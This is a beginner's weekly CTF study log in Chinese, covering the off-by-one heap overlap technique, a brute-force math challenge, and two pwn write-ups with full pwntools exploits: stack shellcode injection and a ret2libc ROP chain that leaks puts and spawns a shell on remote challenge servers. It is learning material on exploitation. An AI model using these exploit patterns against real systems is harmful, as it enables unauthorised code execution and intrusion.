本周学习总结
本来看了堆教程视频,准备拿青少年CTF做训练,结果打了个寂寞。
全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。
一、Offbyone
同样是在堆溢出的漏洞可以实现此漏洞,但是只需要溢出1字节。
对于unsortedbins, glibc会不停的对其其中的物理相邻的块进行合并,而我们正式利用了这一点。
在块的size字段中记录了上个堆块的空闲状态和本堆块的大小,这是我们可以修改的地方(一字节)。
我们先申请A、B、C三个同样大小的块保证他们会进入unsortedbins,我们通过B修改C的size字段的来标记B为空闲堆块。
然后我们对B进行释放,然后通过A修改释放后B的size字段将其改小,然后申请两个较小的堆块D、E,此时C显示前面的堆块仍然是空闲且合并时会合并到原先B的位置,此时我们释放D进入unsortedbins,我们再释放C进入unsortedbins,此时C会与D合并(因为D的位置是原来的B)。
但是E是未释放状态,我们再申请一个堆块B+C大小的堆块Z。我们此时就造成了堆块的堆叠。Z中包含了堆块E,我们可以对堆块E的所有字段进行修改。
二、Baby–简单数学题
题目只提供了IP地址和端口号,连上去是三道数学题。
前两题我直接逃课启用了GPT,最后一题写了个循环爆破,手撕题目。
循环代码:
1 2 3 4 5
| x = 0 for x in range(1, 100): if x * x * x * x * x * x * x * x * x * x + 1024 - 4 * x == 6131066258749: break print(x)
|
flag:

三、Baby–easy-shellcode
下载得到文件easy-shellcode
check:

NX保护未开启。
ida:
main:

有栈上的地址,有栈溢出,还在等什么呢?
shellcode,启动!
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
context.arch = 'amd64' context.os = 'linux'
p = remote("challenge.qsnctf.com", 32341)
addr = int(p.recv(14), 16) ph(addr) rel()
shellcode = asm(shellcraft.sh())
payload = shellcode + b'A' * (0x108 - len(shellcode)) + p64(addr)
sel(payload) op()
|
flag:

三、Easy–[LitCTF 2023]–狠狠的溢出涅~
下载得到文件pwn4
check:

只开启了NX保护
ida:
main:

有栈溢出,但是有检查,我们可以在开始就输入8个“\x00”来绕过检查,程序中没有system和”/bin/sh\x00”。
通过ROP获得libc然后在运行一次main函数,再ROP就搞定了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = remote("node4.anna.nssctf.cn", 28990)
elf = ELF("./pwn4") libc = ELF("./libc-2.31.so")
main_addr = 0x4006B0 pop_rdi = 0x4007d3
payload = b"\x00" * 0x8 + b'A' * 0x60 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(main_addr) sea(b"message:", payload)
reu(b"Received\n")
puts_real = raddr64() ph(puts_real, "puts_real") rel()
libc_base = puts_real - libc.sym["puts"] ph(libc_base)
sys_addr = libc_base + libc.sym["system"] bin_addr = libc_base + next(libc.search(b"/bin/sh"))
ret = 0x400556
payload = b"\x00" * 0x8 + b'A' * 0x60 + p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr) sea(b"message:", payload) rel() rel() op()
|
flag:

下周学习计划
| 应该要做的事情 |
继续堆
学习感受
MISC都是谜语人。